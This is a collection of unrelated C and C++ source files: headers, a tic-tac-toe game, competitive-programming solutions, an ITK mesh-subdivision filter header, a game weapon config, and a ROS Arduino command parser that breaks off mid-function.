!BOOST_ASTRONOMY_COORDINATE_SPHERICAL_DIFFERENTIAL_HPP
#ifndef PATRON_H #define PATRON_H #include <string> class Patron { public: Patron(std::string, std::string); Patron(); std::string to_string(); private: std::string _name; std::string _number; }; #endif
/* Copyright 2022 University of Manchester Licensed under the Apache License, Version 2.0(the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http: // www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "graph.hpp" #include <algorithm> #include <stdexcept> using orkhestrafs::dbmstodspi::Graph; // Have to find nodes that have been skipped but the parent and children are // not yet executed. If input is not null and is not in the processed nodes -> // Throw an error if output is in the processed nodes. Just put the input to // the output If output is not in the processed nodes -> Set to nullptr, if // input table is "" throw error. void Graph::DeleteNodes( const std::unordered_set<std::string>& deleted_node_names) { // TODO(Kaspar): This method is a mess! for (const auto& node_ptr : GetAllNodesPtrs()) { if (deleted_node_names.find(node_ptr->node_name) != deleted_node_names.end()) { // Check all inputs for (auto* const input_ptr : node_ptr->previous_nodes) { // Input is not deleted - This is a skipped node if (input_ptr != nullptr && deleted_node_names.find(input_ptr->node_name) == deleted_node_names.end()) { if (node_ptr->previous_nodes.size() != 1) { throw std::runtime_error("Can't skip nodes with multiple inputs!"); } // All outputs of a skipped node for (auto* const output_ptr : node_ptr->next_nodes) { if (output_ptr != nullptr) { // Output is skipped if (deleted_node_names.find(output_ptr->node_name) != deleted_node_names.end()) { throw std::runtime_error( "Not supporting multiple skipped nodes!"); } for (auto& previous_node : output_ptr->previous_nodes) { if (previous_node == node_ptr) { previous_node = input_ptr; } } for (auto& next_node : input_ptr->next_nodes) { if (next_node == node_ptr) { next_node = output_ptr; } } } } } } // Check all outputs of nodes that are not skipped - Need to read from // file. for (auto* const output_ptr : node_ptr->next_nodes) { if (output_ptr != nullptr && deleted_node_names.find(output_ptr->node_name) == deleted_node_names.end()) { FindCurrentNodeAndSetToNull(node_ptr, output_ptr); } } } } for (const auto& node_ptr : GetAllNodesPtrs()) { if (deleted_node_names.find(node_ptr->node_name) != deleted_node_names.end()) { DeleteNode(node_ptr); } } } void Graph::FindCurrentNodeAndSetToNull(const QueryNode* node_ptr, QueryNode* output_ptr) { bool found = false; for (int stream_id = 0; stream_id < output_ptr->previous_nodes.size(); stream_id++) { if (output_ptr->previous_nodes.at(stream_id) == node_ptr) { if (output_ptr->given_input_data_definition_files.at(stream_id).empty()) { throw std::runtime_error("Table not defined when deleting nodes!"); } output_ptr->previous_nodes.at(stream_id) = nullptr; found = true; } } if (!found) { // May not be found if link is already changed with skipped node. // throw std::runtime_error("Output node not linked to current skipped // node!"); } } // TODO(Kaspar): Find better way to do this // The deleted node pointer is never null but the compiler doesn't know that void Graph::DeleteNode(QueryNode* deleted_node) { for (auto& node : all_nodes_) { if (node != nullptr && node->node_name == deleted_node->node_name) { node.reset(); } } } auto Graph::IsEmpty() -> bool { return std::all_of(all_nodes_.begin(), all_nodes_.end(), [](const auto& node) { return node == nullptr; }); } auto Graph::GetRootNodesPtrs() -> std::vector<QueryNode*> { std::vector<QueryNode*> node_ptrs; for (auto& node : all_nodes_) { if (node) { if (node->previous_nodes.empty()) { throw std::runtime_error("Currently we don't support 0 input nodes"); } if (std::all_of(node->previous_nodes.begin(), node->previous_nodes.end(), [](const auto& ptr) { return ptr == nullptr; })) { node_ptrs.push_back(node.get()); } } } return std::move(node_ptrs); } auto Graph::GetAllNodesPtrs() -> std::vector<QueryNode*> { std::vector<QueryNode*> node_ptrs; node_ptrs.reserve(all_nodes_.size()); for (const auto& node : all_nodes_) { if (node) { node_ptrs.push_back(node.get()); } } return std::move(node_ptrs); } void Graph::ImportNodes(std::vector<std::unique_ptr<QueryNode>> new_nodes) { // TODO: Check for name clashes! all_nodes_.insert(all_nodes_.end(), std::make_move_iterator(new_nodes.begin()), std::make_move_iterator(new_nodes.end())); }
#ifndef EMHANDLER_H #define EMHANDLER_H #include <ATC3DG.h> #include <QMutex> #include <QObject> #include <pthread.h> #include <pugixml.hpp> namespace DR { class EMHandler :public QObject { Q_OBJECT public: explicit EMHandler(QObject *parent = 0); virtual ~EMHandler(); Q_INVOKABLE void connect(); Q_INVOKABLE void disconnect(); QString getRecordingName(); bool isRecordingStatic(); bool isRecordingDynamic(); void getDynamicRecording(pugi::xml_node &frame); void* thread_connect(); private: class CSystem { public: SYSTEM_CONFIGURATION m_config; }; class CSensor { public: SENSOR_CONFIGURATION m_config; }; class CXmtr { public: TRANSMITTER_CONFIGURATION m_config; }; pthread_t m_thread; CSystem ATC3DG; CSensor *pSensor; CXmtr *pXmtr; bool m_running; bool m_connected; QMutex m_lock; void errorHandler(int error); }; } #endif // EMHANDLER_H
#ifndef __SRC_UTILS_SINGLETON_H__ #define __SRC_UTILS_SINGLETON_H__ /* 单例 */ template<typename T> class Singleton { private: static T * m_Instance; Singleton(const Singleton &); Singleton & operator = (const Singleton &); protected: Singleton() {} ~Singleton() {} public: static T & getInstance() { if(m_Instance == 0) { m_Instance = new T(); } return * m_Instance; } static void delInstance() { if(m_Instance != 0) { delete m_Instance; m_Instance; } } }; template<typename T> T * Singleton<T>::m_Instance = 0; #endif
#include<bits/stdc++.h> using namespace std; class MaxHeap{ private: int _size{}; vector<int> v = {-1}; int parent(int i) {return i>>1;}; int lchild(int i) {return i<<1;}; int rchild(int i) {return (i<<1)+1;}; public: bool isEmpty() const {return _size==0;}; int getMax() const {return v[1];}; void insertElement(int val); void shiftUp(int i); int extractMax(); void shiftDown(int i); void printHeap(); }; void MaxHeap::shiftUp(int i){ if(i>_size) return; if(i == 1) return; if(v[i] > v[parent(i)]){ swap(v[i],v[parent(i)]); }else{ return; } shiftUp(parent(i)); return; } void MaxHeap::insertElement(int val){ _size++; v.push_back(val); shiftUp(_size); return; } void MaxHeap::shiftDown(int i){ if(i > _size) return; int swapId=i; if(lchild(i)<=_size){ if(v[lchild(i)]>v[rchild(i)]){ swapId=lchild(i); }else{ swapId=rchild(i); } } if(i==swapId)return; swap(v[i],v[swapId]); shiftDown(swapId); } int MaxHeap::extractMax(){ int Max = v[1]; v[1]=v[_size]; v.pop_back(); _size--; shiftDown(1); return Max; } void MaxHeap::printHeap(){ for(auto x : v){ if(x>0) cout<<x<<" "; } cout<<endl; } int main(){ MaxHeap* pq = new MaxHeap(); pq->insertElement(2); pq->insertElement(23); pq->insertElement(88); pq->insertElement(6); pq->insertElement(5); pq->insertElement(3); pq->insertElement(8); pq->insertElement(5); if(pq->isEmpty()){ cout<<"Heap is empty\n"; } pq->printHeap(); pq->extractMax(); pq->printHeap(); }
#ifndef QUTILSFRAMLESSDIALOG_HPP #define QUTILSFRAMLESSDIALOG_HPP #include "shoemanagercore_global.h" #include <QDialog> #include <QFrame> #include <QWidget> #include <QLabel> #include <QPushButton> class FramelessHelper; class SHOEMANAGERCORESHARED_EXPORT QUtilsFramelessDialog : public QDialog { Q_OBJECT public: QUtilsFramelessDialog(QWidget *parent=nullptr); int getTitleHeight(); void setTitleHight(int height); void setTitleText(QString text); void setTitleIcon(QIcon icon); void setTitleToolBarLayout(QLayout *layout); void setBodyLayout(QLayout *layout); void setFooterVisible(bool visible); QPushButton *pButtonOK; QPushButton *pButtonCancle; private: QFrame *mMainFrame; QWidget *mHeader; QWidget *mBody; QWidget *mFooter; int mTitleHeight; QLabel *mTitleIcon; QLabel *mTitleText; QWidget *mTitleToolBar; QWidget *mTitleButtonBar; QPushButton *mTitleMin; QPushButton *mTitleMax; QPushButton *mTitleClose; FramelessHelper *pHelper; }; #endif // QUTILSFRAMLESSDIALOG_HPP
//T.C : O(n^2). //S.C : O(1). long long int inversionCount(long long a[], long long n) { int invCount = 0; for(int i=0;i<n-1;i++){ for(int j=i+1;j<n;j++){ if(a[i] > a[j]){ invCount++; } } } return invCount; }
#ifndef SHAPE_H #define SHAPE_H #include "BtOgrePG.h" #include "BtOgreGP.h" namespace Shapez { enum { sphere, box, trimesh, cylinder, convex, capsule, allignedBox, orientedBox,none }; inline btCollisionShape* setupShape(int shapeType, BtOgre::StaticMeshToShapeConverter& converter) { switch(shapeType) { case Shapez::sphere: return converter.createSphere(); break; case Shapez::box: return converter.createBox(); break; case Shapez::trimesh: return converter.createTrimesh(); break; case Shapez::cylinder: return converter.createCylinder(); break; case Shapez::convex: return converter.createConvex(); break; case Shapez::capsule: return converter.createCapsule(); break; } return NULL; } inline btCollisionShape* setupShapeAnimated(int shapeType, BtOgre::AnimatedMeshToShapeConverter& converter) { switch(shapeType) { case Shapez::sphere: return converter.createSphere(); break; case Shapez::box: return converter.createBox(); break; case Shapez::trimesh: return converter.createTrimesh(); break; case Shapez::cylinder: return converter.createCylinder(); break; case Shapez::convex: return converter.createConvex(); break; case Shapez::capsule: return converter.createCapsule(); break; //case Shapez::allignedBox: return converter.createAlignedBox() } return NULL; } } namespace ConvexShapez { enum { sphere, box, cylinder, convex, capsule,none }; inline btConvexShape* setupShape(int shapeType, BtOgre::StaticMeshToShapeConverter& converter) { switch(shapeType) { case ConvexShapez::sphere: return converter.createSphere(); break; case ConvexShapez::box: return converter.createBox(); break; case ConvexShapez::cylinder: return converter.createCylinder(); break; case ConvexShapez::convex: return converter.createConvex(); break; case ConvexShapez::capsule: return converter.createCapsule(); break; } return NULL; } } #endif // SHAPE_H
// Copyright (C) 2013 Mihai Preda #include "Value.h" const char *typeStr(Value v); class StringBuilder { public: char *buf; int size, allocSize; StringBuilder(); ~StringBuilder(); void reserve(int space); void clear() { size = 0; } char *cstr(); void append(const char *s); void append(const char *s, int len); void append(char c); void append(double d); void append(Value v, bool raw = false); };
#include "aeMath.h" namespace aeEngineSDK { aeSphere::aeSphere() { } aeSphere::aeSphere(const aeSphere & A) { *this = A; } aeSphere::aeSphere(const aeVector3 & Pos, float Radius) { m_xPosition = Pos; m_fRadius = Radius; } aeSphere::~aeSphere() { } bool aeSphere::operator^(const aeSphere & S) { return m_xPosition % S.m_xPosition <= m_fRadius; } }
#include <iostream> #include "Sender.h" #include "Mail.h" using namespace std; Sender::Sender(string addr) :_addr(addr){} Sender& Sender::operator<<(Mail& mail) { cout << "发送地址:" << _addr << endl; cout << "标题:" << mail._title << endl; cout << "信件内容:" << mail._contents << endl; cout << "发送时间:" << mail._time << endl; return *this; }
#include <iostream> #include <memory> #include <chrono> #include <boost/lexical_cast.hpp> #include <boost/lexical_cast/try_lexical_convert.hpp> #define BOARDSIZE 3 // * Want bigger or smaller boards? Change this macro! #include "Headers/reliablerand.hpp" //#include "Headers/tparse.hpp" #include "Headers/BoardEnums.hpp" #include "Headers/Board.hpp" #include "Headers/CassieBot.hpp" bool Playing = true; bool EnemyIsBot = false; std::unique_ptr<Board<BOARDSIZE>> TicTacToeBoard = std::make_unique<Board<BOARDSIZE>>(); std::unique_ptr<CassieBot<Board<BOARDSIZE>>> Bot = std::make_unique<CassieBot<Board<BOARDSIZE>>>(); using boost::conversion::try_lexical_convert; void WinnerDialogue(BoardEnums::VictoryState &victoryState) { if (EnemyIsBot) { switch (victoryState) // Print text for victory state { case BoardEnums::VictoryState::Draw: std::cout << "The game has ended in a draw!\n"; break; case BoardEnums::VictoryState::X: std::cout << (Bot->Represents == BoardEnums::PlayerTurnState::X ? "CassieBot Wins!\n" : "Player X wins!\n"); break; case BoardEnums::VictoryState::O: std::cout << (Bot->Represents == BoardEnums::PlayerTurnState::O ? "CassieBot Wins!\n" : "Player O wins!\n"); break; case BoardEnums::VictoryState::Nobody: std::cout << "Nobody wins! Wait that shouldn't have happened...\n"; break; } } else { switch (victoryState) // Print text for victory state { case BoardEnums::VictoryState::Draw: std::cout << "The game has ended in a draw!\n"; break; case BoardEnums::VictoryState::X: std::cout << "Player X wins!\n"; break; case BoardEnums::VictoryState::O: std::cout << "Player O wins!\n"; break; case BoardEnums::VictoryState::Nobody: std::cout << "Nobody wins! Wait that shouldn't have happened...\n"; break; } } } void BotLoop() { BoardEnums::VictoryState victoryState = BoardEnums::VictoryState::Nobody; while (victoryState == BoardEnums::VictoryState::Nobody) // While there is no victor... { std::cout << std::endl; TicTacToeBoard->DrawBoard(); int move = 0; if (TicTacToeBoard->Turn != Bot->Represents) // Check if it is the player's turn { std::string userInput; std::cout << "It is Player " << TicTacToeBoard->GetTurn() << "'s turn: "; // Get player's move std::getline(std::cin, userInput); // Below are multiple checks that make sure the player's inputs are valid. It will run Board->SetSpace() until it returns a success state. while(not try_lexical_convert(userInput, move)) { std::cout << "Please enter a valid number, Player " << TicTacToeBoard->GetTurn() << ": "; std::getline(std::cin, userInput); } while (TicTacToeBoard->SetSpace(move) != BoardEnums::MoveResult::Success) { switch (TicTacToeBoard->SetSpace(move)) { case BoardEnums::MoveResult::MoveOutOfRange: std::cout << "Please enter a number between 1 and 9, Player " << TicTacToeBoard->GetTurn() << ": "; break; case BoardEnums::MoveResult::SpaceTaken: std::cout << "Please choose an empty space, Player " << TicTacToeBoard->GetTurn() << ": "; break; } std::getline(std::cin, userInput); while(not try_lexical_convert(userInput, move)) { std::cout << "Please enter a valid number, Player " << TicTacToeBoard->GetTurn() << ": "; std::getline(std::cin, userInput); } } } else // This represents the bot's turn { Bot->Vision = *TicTacToeBoard; // Update the bot's view of the board std::cout << "It is Player " << TicTacToeBoard->GetTurn() << "'s turn" << std::endl; std::cout << "CassieBot: Hmmm...\n"; auto thinkTime = std::chrono::steady_clock::now(); int thinkEnd = relrand::genint(500, 1000); // Freeze program for a random amount of miliseconds to make it look like the bot is thinking. while (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - thinkTime) < std::chrono::milliseconds(thinkEnd)); while (TicTacToeBoard->SetSpace(move) != BoardEnums::MoveResult::Success) // Force the bot to choose another space if it makes an invalid move (Not desired) { move = Bot->MakeMove(); } std::cout << "CassieBot: I choose space " << move << "!" << std::endl; } victoryState = TicTacToeBoard->CheckForVictor(); } std::cout << std::endl; TicTacToeBoard->DrawBoard(); WinnerDialogue(victoryState); } void PvPLoop() { BoardEnums::VictoryState victoryState = BoardEnums::VictoryState::Nobody; while (victoryState == BoardEnums::VictoryState::Nobody) // While there is no victor... { std::cout << std::endl; TicTacToeBoard->DrawBoard(); int move = 0; std::string userInput; std::cout << "It is Player " << TicTacToeBoard->GetTurn() << "'s turn: "; // Get player's move std::getline(std::cin, userInput); // Below are multiple checks that make sure the player's inputs are valid while(not try_lexical_convert(userInput, move)) { std::cout << "Please enter a valid number, Player " << TicTacToeBoard->GetTurn() << ": "; std::getline(std::cin, userInput); } while (TicTacToeBoard->SetSpace(move) != BoardEnums::MoveResult::Success) { switch (TicTacToeBoard->SetSpace(move)) { case BoardEnums::MoveResult::MoveOutOfRange: std::cout << "Please enter a number between 1 and 9, Player " << TicTacToeBoard->GetTurn() << ": "; break; case BoardEnums::MoveResult::SpaceTaken: std::cout << "Please choose an empty space, Player " << TicTacToeBoard->GetTurn() << ": "; break; } std::getline(std::cin, userInput); while(not try_lexical_convert(userInput, move)) { std::cout << "Please enter a valid number, Player " << TicTacToeBoard->GetTurn() << ": "; std::getline(std::cin, userInput); } } victoryState = TicTacToeBoard->CheckForVictor(); } std::cout << std::endl; TicTacToeBoard->DrawBoard(); WinnerDialogue(victoryState); } void PlayAgainPrompt() { std::string playerResponse; std::cout << "Play another game? y/n: "; // Ask player if they want to play another game std::getline(std::cin, playerResponse); while (playerResponse != "y" and playerResponse != "n") { std::cout << "Please enter y or n: "; std::getline(std::cin, playerResponse); } if (playerResponse == "y") { std::cout << (EnemyIsBot ? "CassieBot: Lets give it another go!\n" : "Resetting board...\n"); TicTacToeBoard->ClearBoard(); } else { Playing = false; } } void Setup() { Bot->Vision = *TicTacToeBoard; std::cout << "Welcome to my TicTacToe Game!\n" << "Enter a number from 1 to 9 to choose a space\n" << "Would you like to play with a bot? y/n: "; std::string playerResponse; std::getline(std::cin, playerResponse); while (playerResponse != "y" and playerResponse != "n") { std::cout << "Please enter y or n: "; std::getline(std::cin, playerResponse); } if (playerResponse == "y") { EnemyIsBot = true; std::cout << "CassieBot: Lets play!" << std::endl; } if (EnemyIsBot) { std::cout << "Would you like play as Player X or Player O? x/o: "; std::string playerResponse; std::getline(std::cin, playerResponse); while (!(playerResponse == "x") and !(playerResponse == "o")) { std::cout << "Please enter x or o: "; std::getline(std::cin, playerResponse); } Bot->Represents = (playerResponse == "x" ? BoardEnums::PlayerTurnState::O : BoardEnums::PlayerTurnState::X); } } int main() { Setup(); while (Playing) { if (EnemyIsBot) BotLoop(); else PvPLoop(); PlayAgainPrompt(); } }
traverse from the end and find greater element to the left then reverse the output
#include<bits/stdc++.h> #define rep(i,n) for (int i =0; i <(n); i++) using namespace std; using ll = long long; int main(){ int N, X; cin >> N >> X; vector<int>L(N); rep(i,N)cin >> L[i]; //0の時に一回目を跳ねる int cnt = 1; int now = 0; for(int i = 0; i < N; i++){ now += L[i]; if(now > X){ cout << cnt << endl; return 0; } cnt++; } cout << cnt << endl; return 0; }
#ifndef WEIGHTED_RANDOM_GENERATOR_H #define WEIGHTED_RANDOM_GENERATOR_H #include <iostream> #include <vector> #include "utility/random/RandomNumberGenerator.h" template <typename T> class WeightedRandomGenerator { public: WeightedRandomGenerator(unsigned int seed); void setSeed(unsigned int seed); void reset(); void addResult(T value, float weight); T getResult(); std::vector<T> getResults(int count, bool allowDuplicates); private: RandomNumberGenerator m_randomGenerator; std::vector<std::pair<T, float>> m_results; }; template <typename T> WeightedRandomGenerator<T>::WeightedRandomGenerator(unsigned int seed): m_randomGenerator(seed) { } template <typename T> void WeightedRandomGenerator<T>::setSeed(unsigned int seed) { m_randomGenerator.setSeed(seed); } template <typename T> void WeightedRandomGenerator<T>::reset() { m_randomGenerator.reset(); } template <typename T> void WeightedRandomGenerator<T>::addResult(T value, float weight) { m_results.push_back(std::make_pair(value, weight)); } template <typename T> T WeightedRandomGenerator<T>::getResult() { float summedWeights = 0; for (int i = 0; i < m_results.size(); i++) summedWeights += m_results[i].second; float random = m_randomGenerator.getFloat(0.0f, summedWeights); int index = 0; float weights = 0.0f; for (index = 0; index < m_results.size(); index++) { weights += m_results[index].second; if (weights > random) break; } return m_results[index].first; } template <typename T> std::vector<T> WeightedRandomGenerator<T>::getResults(int count, bool allowDuplicates) { if (!allowDuplicates && count > m_results.size()) { std::cout << "WeightedRandomGenerator does not have enough results to not allow duplicates." << std::endl; allowDuplicates = true; } std::vector<std::pair<T, float>> potentialResults = m_results; std::vector<T> results; float summedWeights = 0; for (int i = 0; i < potentialResults.size(); i++) { summedWeights += potentialResults[i].second; } for (int i = 0; i < count; i++) { float random = m_randomGenerator.getFloat(0.0f, summedWeights); int index = 0; float weights = 0.0f; for (index = 0; index < potentialResults.size() - 1; index++) { weights += potentialResults[index].second; if (weights > random) break; } results.push_back(potentialResults[index].first); summedWeights -= potentialResults[index].second; potentialResults.erase(potentialResults.begin() + index); } return results; } #endif // WEIGHTED_RANDOM_GENERATOR_H
class G3_DZ: FNFAL_DZ { scope = 2; model = "\z\addons\dayz_epoch_w\g3\h4g3.p3d"; picture = "\z\addons\dayz_epoch_w\g3\data\w_g3_ca.paa"; displayName = $STR_DZ_WPN_G3_NAME; descriptionShort = $STR_DZ_WPN_G3_DESC; magazines[] = {20Rnd_762x51_G3}; UiPicture = "\CA\weapons\data\Ico\i_regular_CA.paa"; fireLightDuration = 0.000; fireLightIntensity = 0.000; drySound[] = {"Ca\sounds\Weapons\rifles\dry",db-50,1,10}; reloadMagazineSound[] = {"ca\sounds\weapons\rifles\reload-m16-3",db-25,1,25}; distanceZoomMin = 50; distanceZoomMax = 50; handAnim[] = {"OFP2_ManSkeleton"}; modes[] = {Single, FullAuto}; class Single : Mode_SemiAuto { begin1[] = {"rh_mgswp\sound\scarAk", db5, 1,1000}; soundBegin[] = {begin1,1}; reloadTime = 0.07; recoil = "recoil_single_primary_3outof10"; recoilProne = "recoil_single_primary_prone_3outof10"; dispersion = 0.003; minRange = 2; minRangeProbab = 0.25; midRange = 20; midRangeProbab = 0.7; maxRange = 50; maxRangeProbab = 0.05; }; class FullAuto : Mode_FullAuto { begin1[] = {"rh_mgswp\sound\scarAk", db5, 1,1000}; soundBegin[] = {begin1,1}; soundContinuous = 0; reloadTime = 0.1; ffCount = 1; recoil = "recoil_auto_primary_3outof10"; recoilProne = "recoil_auto_primary_prone_3outof10"; aiRateOfFire = 0.001; dispersion = 0.003; //0.007; minRange = 0; minRangeProbab = 0.20; midRange = 7; midRangeProbab = 0.7; maxRange = 15; maxRangeProbab = 0.05; }; };
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkLoopTriangleCellSubdivisionQuadEdgeMeshFilter_h #define itkLoopTriangleCellSubdivisionQuadEdgeMeshFilter_h #include "itkTriangleCellSubdivisionQuadEdgeMeshFilter.h" namespace itk { /** * \class LoopTriangleCellSubdivisionQuadEdgeMeshFilter * \brief Subdivide a triangular surface QuadEdgeMesh using Loop Subdivision * * The Loop subdivision scheme is a simple approximating face-split scheme for * triangular meshes. The new points defined as: * \f[ * NV_k = \frac{3}{8} \sum_{i=1}^{2} U_k^i + \frac{1}{8} \sum_{i=1}^{2} V_k^i * \f] * * where \f$NV_k\f$ is the new inserted points, \f$U_k\f$ are the two vertices * of edge \f$k\f$, \f$V_k\f$ are two neighborhood vertices. In addition, the * original vertices are smoothed, for each vertex in the original mesh * \f[ * OV_k = \left( 1- N \cdot B \right) \cdot OV_k + \beta \cdot \sum_{i=1}^{N} V_i * \f] * * where \f$N\f$ denotes the number of vertices of first ring neighborhood * points. \f$OVk\f$ is the original vertex. \f$V_i\f$ are first ring * neighborhood points. The weighting \f$\beta\f$ defined as * * \f[ * \beta = \frac{1}{N} \left( \frac{5}{8} - \left( \frac{3}{8} + \frac{1}{4} \cdot \cos^2\left(\frac{2\pi}{N} \right)\right) \right) * \f] * * \ingroup SubdivisionQuadEdgeMeshFilter */ template< typename TInputMesh, typename TOutputMesh > class LoopTriangleCellSubdivisionQuadEdgeMeshFilter: public TriangleCellSubdivisionQuadEdgeMeshFilter< TInputMesh, TOutputMesh > { public: typedef LoopTriangleCellSubdivisionQuadEdgeMeshFilter Self; typedef TriangleCellSubdivisionQuadEdgeMeshFilter< TInputMesh, TOutputMesh > Superclass; typedef SmartPointer< Self > Pointer; typedef SmartPointer< const Self > ConstPointer; typedef typename Superclass::InputMeshType InputMeshType; typedef typename Superclass::InputMeshPointer InputMeshPointer; typedef typename Superclass::InputMeshConstPointer InputMeshConstPointer; typedef typename Superclass::InputPointsContainer InputPointsContainer; typedef typename Superclass::InputPointsContainerPointer InputPointsContainerPointer; typedef typename Superclass::InputPointsContainerIterator InputPointsContainerIterator; typedef typename Superclass::InputPointsContainerConstIterator InputPointsContainerConstIterator; typedef typename Superclass::InputCellsContainer InputCellsContainer; typedef typename Superclass::InputCellsContainerPointer InputCellsContainerPointer; typedef typename Superclass::InputCellsContainerIterator InputCellsContainerIterator; typedef typename Superclass::InputCellsContainerConstIterator InputCellsContainerConstIterator; typedef typename Superclass::InputPointType InputPointType; typedef typename Superclass::InputVectorType InputVectorType; typedef typename Superclass::InputCoordType InputCoordType; typedef typename Superclass::InputPointIdentifier InputPointIdentifier; typedef typename Superclass::InputCellIdentifier InputCellIdentifier; typedef typename Superclass::InputCellType InputCellType; typedef typename Superclass::InputQEType InputQEType; typedef typename Superclass::InputMeshTraits InputMeshTraits; typedef typename Superclass::InputPointIdIterator InputPointIdIterator; typedef typename Superclass::OutputMeshType OutputMeshType; typedef typename Superclass::OutputMeshPointer OutputMeshPointer; typedef typename Superclass::OutputPointsContainerPointer OutputPointsContainerPointer; typedef typename Superclass::OutputPointsContainerIterator OutputPointsContainerIterator; typedef typename Superclass::OutputPointType OutputPointType; typedef typename Superclass::OutputVectorType OutputVectorType; typedef typename Superclass::OutputCoordType OutputCoordType; typedef typename Superclass::OutputPointIdentifier OutputPointIdentifier; typedef typename Superclass::OutputCellIdentifier OutputCellIdentifier; typedef typename Superclass::OutputCellType OutputCellType; typedef typename Superclass::OutputQEType OutputQEType; typedef typename Superclass::OutputMeshTraits OutputMeshTraits; typedef typename Superclass::OutputPointIdIterator OutputPointIdIterator; typedef typename Superclass::SubdivisionCellContainerConstIterator SubdivisionCellContainerConstIterator; typedef typename Superclass::EdgePointIdentifierContainer EdgePointIdentifierContainer; typedef typename Superclass::EdgePointIdentifierContainerPointer EdgePointIdentifierContainerPointer; typedef typename Superclass::EdgePointIdentifierContainerConstIterator EdgePointIdentifierContainerConstIterator; /** Run-time type information (and related methods). */ itkTypeMacro( LoopTriangleCellSubdivisionQuadEdgeMeshFilter, TriangleCellSubdivisionQuadEdgeMeshFilter ); /** New macro for creation of through a Smart Pointer */ itkNewMacro( Self ); protected: LoopTriangleCellSubdivisionQuadEdgeMeshFilter() {} virtual ~LoopTriangleCellSubdivisionQuadEdgeMeshFilter() {} virtual void CopyInputMeshToOutputMeshPoints() ITK_OVERRIDE; virtual void AddNewCellPoints( InputCellType *cell ) ITK_OVERRIDE; InputPointType SmoothingPoint( const InputPointType & ipt, const InputPointsContainer * points ); private: ITK_DISALLOW_COPY_AND_ASSIGN(LoopTriangleCellSubdivisionQuadEdgeMeshFilter); }; } #ifndef ITK_MANUAL_INSTANTIATION #include "itkLoopTriangleCellSubdivisionQuadEdgeMeshFilter.hxx" #endif #endif
#include ".\timer.h" #include "SDL.h" Timer::Timer(void) { run(); priority = TP_ENGINE; } Timer::~Timer(void) { } void Timer::run() { lastFrame = time; time = (float)SDL_GetTicks()/1000; frameDifference = time - lastFrame; fps = 1000*frameDifference; frameScalar = frameDifference; if (frameScalar > 1.0f) frameScalar = 1.0f; if (frameScalar <= 0) frameScalar = 0.0001f; }
#pragma once #include <SFML/Graphics.hpp> #include <iostream> #include "positionComponents.h" #include "positionComponents.h" #include "colorComponents.h" #include "sizeComponents.h" #include "movementComponents.h" class GameObject { private: // new instance of object sf::RectangleShape obj; public: GameObject(); sf::RectangleShape drawObject(); void setSizeComponent(sizeComponents c); void setPositionComponent(positionComponents c); void setColorComponent(colorComponents c); void updateLeft(float acceleration); void updateRight(float acceleration); void updateUp(float acceleration); void updateDown(float acceleration); void resetPosition(float a, float b); };
#include <iostream> #include <cstdio> #include <algorithm> #include <vector> #include <functional> #include <queue> #include <string> #include <cstring> #include <numeric> #include <cstdlib> #include <cmath> using namespace std; typedef long long ll; #define INF 10e17 // 4倍しても(4回足しても)long longを溢れない #define rep(i,n) for(int i=0; i<n; i++) #define rep_r(i,n,m) for(int i=m; i<n; i++) #define END cout << endl #define MOD 1000000007 #define pb push_back #define sorti(x) sort(x.begin(), x.end()) #define sortd(x) sort(x.begin(), x.end(), std::greater<int>()) typedef pair<int,int> edge; class Union_Find { public: vector<int> par; Union_Find(int n) : par(n, -1) {} void init(int n) { par.assign(n, -1); } int root(int x) { if (par[x] < 0) return x; else return par[x] = root(par[x]); } bool issame(int x, int y) { return root(x) == root(y); } bool merge(int x, int y) { x = root(x); y = root(y); if (x == y) return false; if (par[x] > par[y]) swap(x,y); par[x] += par[y]; par[y] = x; return true; } int size(int x) { return -par[root(x)]; } }; int main() { ll n,m; cin >> n >> m; vector<int> A(m), B(m); for (int i = 0; i < m; ++i) { cin >> A[i] >> B[i], --A[i], --B[i]; } Union_Find uf(n); ll cur = n * (n - 1) / 2; vector<ll> res; for (int i = 0; i < m; ++i) { res.push_back(cur); int ta = A[m-1-i], tb = B[m-1-i]; if (uf.issame(ta,tb)) continue; ll sa = uf.size(ta), sb = uf.size(tb); // cout << sa << " " << sb << endl; cur -= sa * sb; uf.merge(ta,tb); } for (int i = m-1; i >= 0; --i) { cout << res[i] << endl; } }
#include<iostream> #include"Node.h" using namespace std; /* * Iterative solution for inserting in a bst */ Node* root(Node* root,int x){ Node* tmp=new Node(x); Node* parent=NULL, *curr=root; while(curr!=NULL){ parent=curr; if(curr->key>x) curr=curr->left; else if(curr->key<x) curr=curr->right; else return root; //if node already exists return root and exit function } if(parent==NULL) return tmp; if(parent->key>x) parent->left=tmp; else{ parent->right=tmp; } return root; }
#include <ros.h> #include <std_msgs/String.h> ros::NodeHandle nh; int left_weel_port_f = 24; int left_weel_port_b = 25; int right_weel_port_f = 22; int right_weel_port_b = 23; char* s = NULL; int* params = NULL; int nParams = 1; std_msgs::String str_msg; ros::Publisher chatter("Navigator/arduinoResponse", &str_msg); void messageCb( const std_msgs::String& arduinoCommand) { if (s == NULL) { for (int i = 0; i < strlen(arduinoCommand.data); ++i) if (arduinoCommand.data[i] == ' ') ++nParams; } int j = 0, len = 0; if (s == NULL) s = new char[strlen(arduinoCommand.data) + 1]; if (params == NULL) params = new int[nParams]; for (int i = 0; i < strlen(arduinoCommand.data); ++i) { if (arduinoCommand.data[i] != ' ' && i != strlen(arduinoCommand.data) - 1) { s[len] = arduinoCommand.data[i]; ++len; } else { if (i == strlen(arduinoCommand.data) - 1) { s[len] = arduinoCommand.data[i]; ++len; } int num = 0, f = 1; for (int k = 0; k < len; ++k) f *= 10; f /= 10; bool minus = false; for (int k = 0; k < len; ++k) { if (s[k] == '-') { minus = true; f /= 10; continue; } num += (s[k] - '0') * f; f /= 10; } if (minus) num *= -1; params[j] = num; ++j; len = 0; } } if (params[0] == 1) { 